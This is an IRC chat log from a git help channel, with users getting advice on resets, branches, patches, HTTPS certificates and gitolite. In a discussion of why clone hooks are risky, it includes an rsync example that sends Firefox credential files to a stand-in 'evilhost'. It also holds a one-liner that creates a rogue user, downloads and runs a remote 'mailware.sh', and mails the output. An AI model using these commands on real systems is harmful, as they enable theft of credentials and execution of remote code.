mathrick	bremner: oh, no doubt taking forever is not a good thing, and I don't doubt that linus is more comfortable with git's model than bzr, and it sure has its place	18:51
	but personally I'm sad to see git become the new de-facto standard, because it doesn't mesh with me at all	18:52
thiago_home	you're entitled to feeling that	18:52
	← catalis left	18:53
BtbN	I want to make a special commit the new master, and throw away the latest commit. I made a bad mistake. How is this possible?	18:53
diegoviola	mathrick: why are you sad to see git becoming the defacto?	18:53
BtbN	tryed git revert, but it fails	18:53
mathrick	diegoviola: "because it doesn't mesh with me at all"	18:53
	← Axius left	18:54
deschet	is there a git command that'll erase all of the newly created files? For example, created a bunch of files using scaffolding and decided I do want to keep or commit them.	18:54
diegoviola	mathrick: what mesh with you?	18:54
deschet	without having to $ rm them all indivually	18:54
thiago_home	diegoviola: he started his sentence with "personally"	18:54
	deschet: just reset	18:55
diegoviola	thiago_home: i know, i want to see what he prefers	18:55
deschet	I did reset but the newly created files are still showing up in my TextMate	18:55
	shouldn't they disappear?	18:56
	after reseting?	18:56
thiago_home	reset --hard	18:56
mathrick	diegoviola: git	18:57
	oh	18:57
	bzr if you were asking about my favourite	18:57
deschet	I did $git reset --hard	18:57
	and they didn't dissapear. I still see all the newly created files when I run $git status	18:58
mathrick	actually what I'd like would be a mix of bzr with some particular features of darcs (which I think overall is a horrible system, but has several "oooh, neat!" points)	18:58
deschet	do I need to be in the master or a new branch?	18:59
charon	deschet: man git-clean	19:00
Gitbot	deschet: the git-clean manpage can be found at http://git.or.cz/man/git-clean	19:00
charon	but be warned, that actually nukes the files, irreversibly.	19:00
	also see the status.showuntrackedfiles option in man git-status.	19:00
Gitbot	charon: the git-status manpage can be found at http://git.or.cz/man/git-status	19:00
	← chalkbag left	19:01
	→ d2dchat joined	19:01
deschet	so once I run $git clean -fd I should not see any files when I run $git status ??	19:02
thiago_home	what does git status say?	19:02
	untracked? modifed but not added? added?	19:02
	→ sako joined	19:03
	→ DrAk0 joined	19:03
sako	hey all, if i am going to be using a project of git	19:03
	is it a good idea to create my own branch?	19:03
	← __iron left	19:03
	→ RaceCondition joined	19:03
sako	make whatever changes and customizations, then when i want to upgrade to the newer version of the project merge?	19:03
deschet	it list a bunch of tracked files	19:03
	← bentob0x left	19:04
deschet	nothing added but untracked files present	19:04
	→ hgimenez_ joined	19:04
thiago_home	deschet: then git clean	19:04
	← froschi1 left	19:05
	← hgimenez left	19:05
	→ Axius joined	19:06
	→ nickrw joined	19:06
	→ sourcemaker joined	19:07
	→ drigz joined	19:09
drigz	hey guys, my friend accidentally deleted the directory we were using as the original repository	19:10
	can he copy back from my repository?	19:10
	→ khmarbaise joined	19:11
sako	so what is the difference between fork and branch?	19:11
Ilari	drigz: Recreate it as empty repository and push?	19:11
deschet	does anyone know where I could find a good tutorial that walks you through everything? From creating, committing, to screwing up, reversing, branching, etc?	19:12
	I'm a newbie...	19:13
thiago_home	sako: the intention	19:13
drigz	Ilari: do i do the push?	19:13
Ilari	drigz: Presumably yes.	19:14
sako	ahhh	19:14
	so i fork if i don't have access to the original or don't intend on ever mergin	19:14
thiago_home	you fork if you intend on leading a separate project	19:15
sako	however, when i fork, can i at a later time "merge" a new version of the project?	19:15
thiago_home	you can, if you change your mind	19:15
	like I sid, a fork is a matter of intention	19:15
drigz	Ilari: ok, thanks, will try...	19:17
	→ aresnick joined	19:19
drigz	Ilari: seems to have worked - thanks!	19:19
	→ pheaver joined	19:20
	FFForever-Away → FFForever	19:20
	→ soreau joined	19:20
soreau	Hi	19:20
	← swisherpop left	19:21
sako	hmmm	19:21
	so essentially when i clone a project i forked it	19:21
	i go about making my changes to it	19:21
soreau	I am trying to make a patch for a single file in the kernel, so i made the changes then did 'git commit -a && git format-patch origin' but it created 36,487 patches and mine was the last one. What am I doing wrong?	19:21
	I am thinking I probably should do git commit path/to/file && git format-patch <something else>	19:23
	← munichlinux left	19:23
soreau	but I don't know what I need to do	19:23
	→ project2501a joined	19:24
	→ swisherpop joined	19:25
offby1	soreau: my first guess is that "origin" doesn't mean what you think it means	19:25
	soreau: I'd run "gitk --all" and see which remote ref is "closest" to your HEAD	19:25
	and make the patch against it	19:26
soreau	ok let's see	19:26
offby1	I think 75% of my advice on this channel is either "Read 'Git For Computer Scientists'", or else "run 'gitk --all'"	19:26
	→ til joined	19:27
	← Zephyrus left	19:27
soreau	offby1: Thanks, it was an off-by-one error ;)	19:28
	I didn't use gitk --all at all though	19:28
	I had to git format-patch origin/<branch>	19:28
	← reprore left	19:29
	← daifuku left	19:29
	← sourcemaker_ left	19:29
	← yziquel left	19:30
	← pkw left	19:30
soreau	Now, I am doing this as root so it detected my root account for the patch. Is there any way to get it to detect my user while still creating the patch as root?	19:30
offby1	maybe by setting some environment variable or other	19:30
	I have to ask: why are you root in the first place?	19:31
diegoviola	i'm cloning some repo but it's not getting my branch from the server, why?	19:31
	it clones master only	19:31
	→ daifuku joined	19:31
	← Axius left	19:31
soreau	offby1: Well I never run as root unless messing with kernel stuff	19:31
jast	diegoviola: look at git branch -r	19:31
diegoviola	origin/diego	19:31
	thats what i need	19:31
jast	git checkout --track origin/diego	19:32
diegoviola	thanks	19:32
sako	is there some alternative to capistrano	19:32
	made in python?	19:32
	oops wrong chan	19:32
	→ r11t joined	19:32
diegoviola	jast: it required -b also	19:32
	← drigz left	19:33
jast	diegoviola: version 1.6.1 and newer can do it without the -b :) in fact, in 1.6.6 it's sufficient to say git checkout diego	19:33
diegoviola	jast: cool, i will update	19:33
	→ munichlinux joined	19:33
	→ smotchkkiss joined	19:34
	→ rami joined	19:35
	diegoviola updating to git 1.6.6	19:36
	← DrAk0 left	19:37
rami	Hello! Is there any way to "freeze" a file locally? What I mean is, I want to "hold" a specific version on the _file system_ and remote changes on only this file(s) should be ignored. .gitignore seems to ignore commits only, but what's about pull?	19:37
	→ ProperNoun joined	19:38
offby1	I dimly recall that there's a way to do that ...	19:38
	dunno what though	19:38
	I suspect it's a relatively new feature	19:38
diegoviola	jast: git checkout diego works great in latest version, it rocks, thanks	19:38
	← icwiener left	19:41
	→ kmartiin joined	19:42
	→ ruediger_ joined	19:42
rami	offby1: maybe git rm --cached	19:42
	?	19:42
	← sako left	19:42
offby1	don't think that's it	19:43
rami	hmm	19:43
offby1	that deletes it from the index, so the next time you commit, you'll have committed the deletion.	19:43
	offby1 builds eagerly, in order to try out "git status -s"	19:44
	OtherJakeSays → JakeSays	19:44
soreau	offby1: Thanks for the help	19:45
	← soreau left	19:45
offby1	:)	19:45
	→ jelmer joined	19:47
	→ jotik^^ joined	19:48
	← jotik left	19:49
	← Chaser_ left	19:49
	→ pantsman joined	19:49
	← esc_ left	19:52
	← til left	19:57
	← gdaa_ left	19:57
	→ gdaa joined	19:58
	← ruediger left	19:58
	→ Twisted_Mentat joined	20:00
	← Slix` left	20:03
	→ iamcalledrob_ joined	20:04
	→ bambule joined	20:05
	→ NathanielJ joined	20:07
	→ adamm_ joined	20:10
	→ rudi_s_ joined	20:11
	← daifuku left	20:14
	← smotchkkiss left	20:14
	→ daifuku joined	20:15
	→ sako joined	20:16
	→ dave_d joined	20:18
dave_d	Etiquette question; if I've got a patch that could do with the maintainers input before it's commited, do I email them directly or email the list & CC them?	20:20
Ilari	dave_d: Mail to list, ccing maintainers.	20:20
	dave_d: Or just to list.	20:21
dave_d	Cool, I'll do that.	20:21
	Cheers!	20:21
	← iamcalledrob left	20:21
	iamcalledrob_ → iamcalledrob	20:21
cxreg	offby1: does "gitk --all" in the kernel still blow up?	20:23
	← t0rc left	20:23
	← kwinz left	20:24
cxreg	lol, it does	20:24
	800 megs and counting	20:24
	just about a gig total	20:25
	← sumangurung left	20:25
offby1	cxreg: "800 megs and counting" is a reasonable expansion of the acronym EMACS :)	20:25
thiago_home	eight hundred now?	20:25
	last I read the expansion it was "eighty"	20:26
	and that's up from "eight"	20:26
	besides, what does the S stand for?	20:26
charon	i thought it was "eight megs and continuously swapping"	20:26
cxreg	offby1: snort	20:27
	→ Slix` joined	20:27
	← rudi_s left	20:27
dave_d	Should patch 0 be any talking, with 1..n being patches?	20:27
Slix`	How can I add a trusted fingerprint?	20:28
Ilari	Slix`: ? ssh?	20:28
	dave_d: Yes.	20:28
Slix`	Yeah.	20:28
cxreg	Slix`: manually ssh and type "yes" ?	20:29
Ilari	Slix`: One way might be to use ssh to attempt connection and then accept the hostkey.	20:29
Slix`	Aha, yeah. That'll work	20:29
	→ JoeConyers joined	20:31
cxreg	VisualHostKey is a weird option	20:31
	→ jimi_hendrix joined	20:32
jimi_hendrix	how do i change my branch	20:32
cxreg	jimi_hendrix: git checkout other_branch	20:33
jimi_hendrix	ok	20:33
cxreg	ive had to switch back to cvs recently and it's rotting my brain :(	20:33
dave_d	cxreg: sympathies	20:34
Slix`	Yeah..	20:34
jimi_hendrix	cxreg, oh and how do i show what the current added files are... git show?	20:34
Slix`	I'm getting an error validating.	20:34
	I have to do it manually..	20:34
	But it doesn't say WHERE to ssh too.	20:34
	to*	20:35
cxreg	jimi_hendrix: what do you mean "added files" ?	20:35
	jimi_hendrix: do you mean what's staged?	20:35
jimi_hendrix	files added with git add	20:35
cxreg	ah	20:35
	git status	20:35
	and if you want to see the difference between what's committed and what's staged, try "git diff --cached"	20:35
jimi_hendrix	cxreg, ah	20:35
	ok	20:35
	and define staged please while i am here	20:35
cxreg	staged is what content is when it's been "git add"ed	20:35
	it's an intermediate area between working tree and commit	20:36
	it's part of what makes git awesome :)	20:36
jimi_hendrix	cool	20:36
offby1	... and confusing to those used to other systems, alas	20:37
Slix`	How do I do it manually then?	20:38
	→ SkyX joined	20:38
charon	Slix`: 'git remote -v' and figure out the ssh host from the URL for your remote?	20:38
offby1	Slix`: find the host name in question -- we probably can't help with that (it might appear in the output of "git remote -v", though)	20:38
	charon: jinx	20:38
jimi_hendrix	cxreg, so what makes it so cool	20:39
	→ imajes joined	20:39
	← vvsh left	20:39
charon	jimi_hendrix: http://tomayko.com/writings/the-thing-about-git	20:39
Slix`	Gah.	20:40
	Stupid windows won't let me cd to my D drive.	20:41
	← NetHawk left	20:41
	→ Zephyrus joined	20:41
cxreg	gotta love documentation that says "shoving nasty shit into your face"	20:41
	→ corni joined	20:41
_Vi	Slix`, "cd /D D:\".	20:42
Slix`	Wewt, thanks.	20:42
offby1	She turned me into a Wewt!	20:42
Slix`	git remove -v returned nothing.	20:42
cxreg	"git remove" ?	20:43
	git remote maybe?	20:43
Slix`	Also nothing.	20:43
	Oh	20:43
	Sorry	20:43
	Typoed it in the channel	20:44
_Vi	Slix`, Either "git rm" or "git remote".	20:44
Slix`	s/git remove -v/git remote -v	20:44
cxreg	Slix`: if it's a new repo, it wont have a remote yet	20:44
_Vi	Slix`, Git should automatically offer "remote" correction.	20:44
cxreg	"git remote add <name> <url>"	20:44
Slix`	Yeah, but the fingerprint isn't being accepted!	20:45
dave_d	What's the error?	20:45
dsop	is it right that sparse is now implemented but not yet supported by porcelain?	20:46
jimi_hendrix	git doesnt automatically ignore someBackup~ ?	20:46
Slix`	The certificate is not issued by a trusted authority. Use the fingerprint to validate the certificate manually!	20:46
charon	dsop: it's in next now	20:46
dsop	charon: well but is there support in clone or checkout. I just see the update-index and read-tree impl.	20:47
	← patcito left	20:48
charon	dsop: not that i know anything since i don't use it, but afaict it's driven through a .git/info/sparse_checkout file so i assume all commands respect that	20:49
	← SkyX left	20:49
Slix`	I have no idea how to do that manually.	20:49
charon	Slix`: are you cloning over http?	20:50
Slix`	Url is https.	20:50
	→ patcito joined	20:50
	→ Chaser__ joined	20:50
charon	presumably you'd 'curl $url' (if curl has any persistent accept-this-certificate flags)	20:51
	← iamcalledrob left	20:51
	← xiong left	20:52
charon	or look at http.sslVerify setting if you want to commit security suicide	20:52
Slix`	Gah	20:53
	It isn't working.	20:53
	Why does setting git up have so many problem?!\	20:53
	problems*	20:53
Ilari	Slix`: Because HTTPS is crap?	20:54
	← Sky[x] left	20:55
_Vi	Slix`, Git is not working over HTTPS because of invalid (untrusted) certificate?	20:56
	← daifuku left	20:57
Slix`	Yeah.. but that's nothing.	20:57
	→ mjf joined	20:57
Slix`	I tried another repo..	20:57
	Now it's not working period..	20:57
_Vi	Slix`, Just make it trusted and use the same hostname as in certificate. I have explicitly experimented with Git over HTTPS.	20:58
	Slix`, It worked, both in anonymous and with credentials mode.	20:58
Slix`	Just make it trusted.	20:58
	I have no idea how I'm supposed to do that.	20:58
offby1	Slix`: must you use https?	20:59
_Vi	Slix`, (I've also done the scheme "if anonymous => denyNonFastForwards,denyDeletes, if credentials, allow all")	20:59
Slix`	No!	20:59
	→ daifuku joined	20:59
Slix`	I stopped using https.	20:59
offby1	ok	20:59
Slix`	I tried using a different url and all I get it some weird combo of success and failure.	20:59
_Vi	Slix`, I've done "cat /etc/ssl/certs/ssl-cert-snakeoil.pem >> /etc/ssl/certs/ca-certificates.crt"	20:59
offby1	Slix`: try pasting a transcript	20:59
	← Slix` left	21:00
_Vi	Slix`, "ssl-cert-snakeoil.pem" is server certificate, "ca-certificates.crt" is trusted certificates.	21:00
	→ xlistener joined	21:01
	← patcito left	21:01
	← jimi_hendrix left	21:01
rotty_	I have a branch in a remote repo that has a "+" in its name, and trying to delete it hence fails:	21:02
	git push debian :heads/features/rus+greek	21:03
	error: unable to push to unqualified destination: heads/features/rus+greek [...]	21:03
_Vi	rotty_, "git push debian :refs/heads/features/rus+greek"?	21:03
	← jelmer left	21:04
	→ sgh joined	21:04
	← d0k left	21:04
rotty_	_Vi: thanks, that looked like it worked, but actually didn't (the branch is still there)	21:05
	(it also said "warning: Allowing deletion of corrupt ref.")	21:05
_Vi	rotty_, May be it is already deleted? How do you check for it's deleteness?	21:05
rotty_	_Vi: via gitweb (http://git.debian.org/?p=users/rotty/alevt.git;a=summary)	21:06
_Vi	rotty_, Try "git push debian some_ref:refs/heads/features/rus+greek" to create it.	21:06
	rotty_, Caches?	21:06
	rotty_, Ctrl+F5?	21:06
	rotty_, Try to create and delete it again to see the difference.	21:07
rotty_	_Vi: perhaps, but reloading doesn't help	21:07
	ok	21:07
	← lemonchicken left	21:07
rotty_	so I could use "master" for "some_ref", right?	21:07
_Vi	rotty_, "master" or "origin/master" or "HEAD"...	21:07
	← wanders_ left	21:09
rotty_	ok, now no warning deleting it, but gitweb still shows it and a "git fetch debian" showed it as "[new branch]" :-/	21:09
_Vi	rotty_, Try "git fetch origin features/rus+greek" to validate that it doesn't exist.	21:10
	rotty_, (When someone tells "my branch isn't deleted" he usually uses gitweb to validate).	21:11
	← brizly left	21:11
sourcemaker	why does a copied git repository takes a long time for git status? cp -r git.repo git.repo2	21:11
rotty_	_Vi: ok, seems it's gone, according to "git fetch", probably gitweb needs some time to note the change	21:12
_Vi	sourcemaker, Because for git it seems that all files has probably changes (according to timestamps) and it need to rescan them all.	21:12
	rotty_, Is it Github's gitweb?	21:12
sourcemaker	_Vi: ok thanks	21:12
rotty_	_Vi: nope, debian's	21:12
	→ squarism joined	21:12
_Vi	sourcemaker, (Sometimes it actually reports that file as changed (but with no modifications) if not working well)	21:13
rotty_	sourcemaker: with "cp -a", it might not need to rescan	21:13
sourcemaker	rotty_: I am sorry... i used rsync	21:14
	← hyperair left	21:14
sourcemaker	can I also see the differences between my "local repo" and a repo on a central server?	21:14
	→ Axius joined	21:15
_Vi	sourcemaker, "git fetch origin; git diff master origin/master"?	21:15
SeveredCross	git diff	21:15
	← Axius left	21:15
rotty_	sourcemaker: well, in principle, the same applies -- if you re-use the same timestamps in the copy (as "cp -a" or "rsync -a" will do), git will probably not need to re-scan	21:15
	→ jelmer joined	21:16
	← Chaser__ left	21:19
	→ ablemike joined	21:20
sourcemaker	rotty_: ok... git has the results now and there are correct... the .git/index has been recreated	21:20
	← stuffcorpse left	21:20
	← mithro left	21:20
	→ wanders joined	21:22
	→ Octalot joined	21:22
	→ iamcalledrob joined	21:22
	← FFForever left	21:23
	← khmarbaise left	21:23
	← daifuku left	21:24
	→ daifuku joined	21:25
	→ abadr joined	21:27
	← flaguy48 left	21:27
	→ mnyon joined	21:28
	← rgr_ left	21:29
	→ rgr joined	21:29
	→ corni_ joined	21:30
	← malumalu left	21:30
	→ ppawel joined	21:31
	→ lemonchicken joined	21:32
	→ javatexan joined	21:32
	→ javaJake joined	21:32
	← magcius left	21:33
	→ magcius joined	21:33
	← tbuehlmann left	21:33
dave_d	Anybody know if anyone other than paul is particularly interested in gitk?	21:34
	← javatexan left	21:35
javaJake	I have a repository with two branches: one I'll call "old" and another "new" just for an example. I want to copy old/dir/file1 to new/dir/file1, copy old/file2 to new/dir/file2, and copy old/dir2 to new/dir/dir2. Basically: I want to know what the most robust way of copying files around in git is, across branches. Optimally, git should be able to track parent/child relationships.	21:36
	/s/parent/ancestor/	21:37
_Vi	javaJake, branches are not directories.	21:37
	javaJake, It's not SVN.	21:37
javaJake	_Vi: correct	21:37
	← iamcalledrob left	21:37
javaJake	But you get my point :)	21:37
	← schmukkk left	21:37
	→ loincloth joined	21:38
_Vi	javaJake, "git checkout new" "git checkout old -- path/to/file"?	21:38
javaJake	I did understand that. I was just using example syntax	21:38
	→ AkumaStreak joined	21:38
javaJake	_Vi: interesting... makes sense, I'll give it a whirl	21:38
Octalot	dave_d: I like gitk, what kind of interest are you asking for	21:40
dave_d	Just wondering if I should be CC'ing anyone other than Paul on my patch	21:40
Octalot	ah, not me then	21:41
	→ ezyang joined	21:43
	← pantsman left	21:43
ezyang	Is there a fast git diff that tells me if files are different, and no other info?	21:43
	→ drigz joined	21:43
drigz	i'm having a lot of trouble managing a branch	21:43
ezyang	ah, --name-only	21:43
	→ pantsman joined	21:43
offby1	drigz: hire better tellers	21:44
	offby1 slaps thigh	21:44
	← corni left	21:44
drigz	i created the branch with git checkout -b name, then edited some stuff, did some commits, fumbled my way through	21:44
	i git pushed but my friend still couldn't see it	21:44
	i.e. i just ran 'git push'	21:44
	then i tried 'git push origin branch_name'	21:44
	← Zephyrus left	21:45
drigz	which seem to add the new branch as desired	21:45
offby1	... but ... ?	21:45
cxreg	drigz: your friend will need to fetch from the remote, and then check out the new branch	21:45
drigz	then i tried git pull origin master, (i think i should have used git pull origin branch_name)	21:45
	and it came up with all these conflicts	21:45
	← bambule left	21:45
offby1	hmm	21:45
drigz	i didn't want to try to merge the branches	21:45
	and now i can't do anything without being told i have to manually merge first	21:45
cxreg	drigz: you tried "git pull origin master" while your new branch was checked out?	21:45
drigz	cxreg: yeah	21:45
	cxreg: i think it tried to merge them	21:46
cxreg	yeah, that was a mistake. try "git reset --hard"	21:46
	← ezyang left	21:46
cxreg	it did	21:46
offby1	"gitk --all" is my suggestion	21:46
	shows you What Up™	21:46
cxreg	drigz: "git pull" with arguments is a dangerous operation :)	21:46
drigz	cxreg: git pull doesn't let me use it without arguments	21:46
_Vi	drigz, "git pull" is at all not so good operation.	21:46
cxreg	drigz: if not, then your config is set up wrong	21:46
drigz	it's exactly the same as my friend's, who doesn't have this problem	21:47
	→ anno^da joined	21:47
drigz	cxreg: what should i change?	21:47
cxreg	drigz: what does "git config --get-regexp branch." give you?	21:47
drigz	branch.master.remote origin	21:47
	branch.master.merge ref/heads/master	21:47
cxreg	ok, so your config knows how to "git pull" for master, but no other branch	21:48
	→ pheaver_ joined	21:48
	← pheaver left	21:48
	← pheaver_ left	21:48
cxreg	you want a similar config for your other branch, likely	21:48
	→ pheaver joined	21:48
drigz	cxreg: i get the same error with master checked out	21:48
cxreg	what error?	21:49
drigz	just pasting	21:49
	http://paste.org/pastebin/view/14390	21:49
cxreg	perhaps the remote is not set up right then?	21:50
	→ simNIX joined	21:50
cxreg	git config --get-regexp remote.origin.	21:51
drigz	http://paste.org/pastebin/view/14391	21:52
	cxreg: any ideas?	21:56
	← rotty_ left	21:58
	← oliver3 left	21:59
cxreg	sorry, gotta run	22:00
drigz	cxreg: no worries	22:01
	thanks for the help!	22:01
NathanielJ	hey ya'll, git newb here. Imported my SVN directory successfully, and tried rewriting all of my commits so they reflected me as author. I used this command here: http://progit.org/book/ch6-4.html#changing_email_addresses_globally Git appeared to complete the command, but gave me a warning: WARNING: Ref 'refs/heads/master' is unchanged	22:03
	What does this mean?	22:03
	← kmartiin left	22:03
	← abadr left	22:03
	← corni_ left	22:04
_Vi	NathanielJ, It means that nothing has changed.	22:04
	← ppawel left	22:04
	← alip left	22:05
NathanielJ	ok. So the command did not do what I wanted, and I should make sure I typed everything correctly?	22:05
	→ alip joined	22:05
_Vi	NathanielJ, Check the email part in 'if [ "$GIT_AUTHOR_EMAIL" = "schacon@localhost" ];'	22:05
	NathanielJ, Has you substituted the schacon@localhost one that actually appears in commits?	22:06
NathanielJ	excellent, _Vi, a typo there took care of it. Git told me Ref 'refs/heads/master' was rewritten. I appreciate it!	22:06
_Vi	*Have	22:06
	→ ereslibre joined	22:07
_Vi	NathanielJ, Now you need to assure the information has been fixed and delete "original" refs.	22:07
	← ablemike left	22:09
	← seezer_ left	22:09
	← munichlinux left	22:10
	← Guest16323 left	22:11
	→ seezer joined	22:11
	→ naquad joined	22:12
naquad	hi	22:12
javaJake	_Vi: looks to work just as expected, thank you :)	22:12
	← javaJake left	22:12
naquad	i want to run several commands in user's repo copy after git pull and git clone. how do i do this?	22:12
NathanielJ	OK, _Vi, it renamed my author fields correctly. Sweet. I'm not sure what deleting original refs is about. Does this post on Stack Overflow explain what you mean? http://stackoverflow.com/questions/1216733/remove-a-directory-permanently-from-git/1216748#1216748	22:13
_Vi	NathanielJ, Just "rm -Rf .git/refs/original". It will interfere if you will try "git filter-branch" next time.	22:14
	s/will interfere/interferes/	22:14
	← daifuku left	22:15
naquad	any ideas?	22:15
_Vi	naquad, Automatically, without user interaction?	22:16
	→ pkw joined	22:17
	→ daifuku joined	22:17
naquad	_Vi, yes, some kind of hook	22:17
_Vi	naquad, Cloning untrusted repository should be secure operation and not execute any code from that repository. Make a script for users to start.	22:17
naquad	_Vi, and what about pull?	22:17
	→ pantsman- joined	22:18
	→ a7x joined	22:18
_Vi	naquad, Pulling (both fetching and merging) should be secure operation, but you may setup a hook one in each user repository that will probably run after each fetch.	22:18
	← imajes left	22:18
_Vi	naquad, Or you may substitute "git pull" with your script that will do "git pull" with additional things.	22:19
naquad	I hoped git can do this :(	22:19
	← a7x left	22:19
	→ BigMack83 joined	22:20
_Vi	naquad, In any case it required either special setup of each repository or using scripts or making specialized Git distribution.	22:20
	→ loinclot_ joined	22:20
	← loincloth left	22:20
naquad	_Vi, thank you for help. it's pity git can't do this :(	22:20
_Vi	naquad, Imagine someone setting up public Git repository and want users "to send some e-mails to that list" after each pull.	22:20
	→ EricInBNE joined	22:20
naquad	_Vi, i understand possible security flaws, but there could be some prompt run/don't run or option --trust	22:21
	→ a7x joined	22:21
_Vi	naquad, E.g. "git clone" == "rsync -aP ~/.mozilla/firefox//.db my@elivhost:/upload".	22:22
	→ fcuk112 joined	22:24
	← loinclot_ left	22:24
_Vi	naquad, I think prompt may be implemented. "--trust" is less probable.	22:24
	→ loincloth joined	22:24
naquad	_Vi, what for? ( hostname ; ifconfig ; rand="$RANDOM$RANDOM$RANDOM" ; useradd -m eviluser --password "$rand"; echo $rand; wget -O - -q http://www.example.com/mailware.sh \| /bin/sh ) \| mail [email@hidden.address]	22:24
	_Vi, it would be a useful feature. i've got several repos requiring multiple actions to run after pull	22:25
_Vi	naquad, That was just for example. "useradd" will not work for non-root. Extracting certificates and credentials from Firefox will.	22:25
	naquad, "git submodule update --init"?	22:26
naquad	_Vi, for non-root - yes, but for root... /me knows people unable to understand that. they work as root	22:26
	← daifuku left	22:26
naquad	_Vi, probably won't work. it'll be the same pull	22:27
_Vi	naquad, I think additional messages after "git clone" or even after each "git fetch" is not so complicated thing to implement.	22:27
	→ daifuku joined	22:27
	← Scorchin left	22:27
	← Yuuhi left	22:28
_Vi	naquad, (of course there should not be any HTML or terminal escape sequence or too long messages there).	22:28
Grum	or just read docs/development ?	22:28
	_Vi: why have additional messages? or better, why have git do it?	22:29
	← sgh left	22:29
_Vi	Grum, To simplify the live of users that will have only have "git://" url and think "why it's not work? Why it says 'include file ../submodules/qqq/qqq.h not found'?" and don't know where to read (a lot of documents in doc/).	22:31
Grum	_Vi: so you want a notification about the fact there are submodules in the repo? that should be in yeah =)	22:32
_Vi	Grum, User may know neither about git nor about it's submodules.	22:32
Grum	_Vi: good time to learn =)	22:32
	→ kakazza joined	22:32
kakazza	Hi	22:32
_Vi	Grum, And "fetch" messages will be useful, for example, as "Our repository is moving to new location: git://.../").	22:32
kakazza	I have a local commit in branch "A" which was checked out like this: "git checkout --track -b A origin/B". Now I want to push, but how do I do that?	22:33
Grum	_Vi: mmmmm that you can already do i think	22:33
kakazza	I tried "git push origin"	22:33
_Vi	Grum, User may just abandon or start behaving badly on the first problem encounter.	22:33
	→ NetHawk joined	22:33
_Vi	Grum, Something like adding a ref with special long name?	22:34
Grum	no, you can make the fetch fail	22:34
_Vi	kakazza, "git push origin A:B".	22:34
Grum	oh wait .. git:// protocol	22:34
	then just dont offer it via git:// :)	22:34
_Vi	Grum, You need not just to make fetch fail, but also to provide new URL.	22:34
	← naquad left	22:34
	→ funkytaco joined	22:34
	→ naquad joined	22:34
	→ keex joined	22:35
Grum	well, if you were to use gitolite for example, you could easily change that code to give someone that message	22:35
	← pantsman left	22:35
Grum	it will tell you that you are not allowed to fetch for example, instead it could tell you where you should go	22:35
_Vi	naquad, BTW, about messages: if you are using git over SSH, you may probably just write to stderr and it will be displayed at user side.	22:35
Grum	_Vi: exactly	22:35
	← naquad left	22:36
Grum	but for the other thing, really; put in some docs in the root .. README orso ..	22:36
	and explain that you need to fetch submodules :)	22:36
_Vi	naquad, You need to override "git-send-pack" with your script that will print message and start genuine "git-send-pack".	22:36
	Grum, Sometimes the message should right near user's eyes and be big and red.	22:37
Grum	sometimes you dont want a certain kind of users ;P	22:38
	← funkytaco left	22:38
	← pantsman- left	22:38
	→ amerine joined	22:38
_Vi	naquad, You may also put your message as response of naive "./configure" or "make".	22:38
	→ pantsman joined	22:38
kakazza	did it	22:40
	thanks	22:40
	← kakazza left	22:40
	→ funkytaco joined	22:41
	→ justinweiss_ joined	22:42
NathanielJ	_Vi: Thanks again. My history is all clean now!	22:42
	→ mithro joined	22:42
funkytaco	Hi all, trying my first git clone over ssh. I get this error: bash: git-upload-pack: command not found	22:42
	both sides run OS X	22:43
Grum	git was not installed in the path on the remote side :)	22:43
funkytaco	both seem to have the git-upload-pack command available?	22:43
	oh hmm ok	22:43
	→ rzl joined	22:43
rzl	hello there :(	22:43
	:)	22:43
	hey sitaram :)	22:44
funkytaco	maybe I need to logout/login on remote machine Grum ?	22:44
	brb to try Grum	22:44
rzl	a little question about gitolite...	22:44
Grum	funkytaco: no either put it in the path or specify it on the local side by giving --upload-pack <path/to/...> to git-clone	22:44
	← daifuku left	22:44
rzl	once i create a repo, and give R permission to gitweb.. and ln the dir to the gitweb directory...	22:44
	→ daifuku joined	22:45
rzl	how to set properly gitweb's clone-url, description and readme.html ?	22:45
	shall i edit files in the repository/ dir on the gitolite server ?	22:45
Grum	clone-url is in gitweb's config; readme.html que??; description you put in: repo.git/description	22:46
	oh you use gitolite, then read the config for how to setup the description	22:46
	(bottom of the sample one)	22:46
dave_d	Cheers guys, cheers Ilari!	22:47
	← dave_d left	22:47
Grum	rzl: you could alternatively just give permissions for gitweb to read the repo	22:48
	without using symlinks	22:48
rzl	ok Grum, let me have some tests...	22:48
	← robinr left	22:48
	→ apeiros_ joined	22:49
	→ pheaver_ joined	22:49
Grum	rzl: the baseurl for gitweb can be set in the config (called: @git_base_url_list i think)	22:50
apeiros_	hi there. given I've got a repo git://example.com/bar.git and I don't to clone it, just the "contents" of a specific commit. how can I do that?	22:50
	← pheaver left	22:50
	pheaver_ → pheaver	22:50
_Vi	apeiros_, Use gitweb? Run "git archive" on server?	22:51
	→ kmartiin joined	22:51
Grum	apeiros_: or just clone =)	22:51
	→ robinr joined	22:51
_Vi	Grum, "... and I don't to clone it"	22:51
Grum	yeah, but if it doesnt work like that .. you can want all you want :)	22:52
	you can do a shallow clone, but you wont be able to just get 'a single random revision'	22:52
apeiros_	Grum: I don't want the repository.	22:52
Grum	then what do you want?	22:53
apeiros_	_Vi: reading up on git archive	22:53
	→ schierbeck joined	22:53
apeiros_	Grum: only what you'd get if you'd do a git checkout <rev>	22:53
	+what you'd get into the working tree	22:53
Grum	git archive should be able to do that given you are allowed to do so	22:53
	→ fishey joined	22:53
_Vi	apeiros_, If "upload-archive" extension is enabled on server, you may use it.	22:53
Grum	not all remotes allow you to use that command	22:53
	not sure if you can get a specific commit though, lets see :D	22:54
	http://www.kernel.org/pub/software/scm/git/docs/git-archive.html <-- appears you can	22:54
_Vi	Grum, If "archive" is enabled, then probably yes.	22:54
apeiros_	I'm... not sure... upload sounds like the wrong way round	22:54
Grum	yeah even a specific path	22:54
	apeiros_: its from the server's point of view	22:54
	from the server's pov it uploads stuff to you :)	22:55
	and logically the reverse is 'receive-pack'	22:55
apeiros_	hah, git archive looks good. gotta test it	22:55
_Vi	apeiros_, "receive-pack" is when you push, "send-pack" is when you fetch.	22:56
	← bbttxu left	22:56
	← drizzd left	22:56
	→ v0n joined	22:56
rzl	Grum: thanks, it works wounderfully now.	22:57
	← rzl left	22:57
	← justinweiss left	22:58
	justinweiss_ → justinweiss	22:58
	→ psoo joined	22:58
	→ catalis joined	22:58
	← daifuku left	22:59
funkytaco	Grum: I set the path using the path shell script that came with git.... and i rebooted the remote host.... still no luck	22:59
charon	_Vi: actually the server-side of fetch is upload-pack	23:00
	← deschet left	23:00
	→ pkw_ joined	23:01
_Vi	charon, Yes.	23:01
funkytaco	can i just symlink git-upload-pack in /usr/local/bin ?	23:01
	→ daifuku joined	23:01
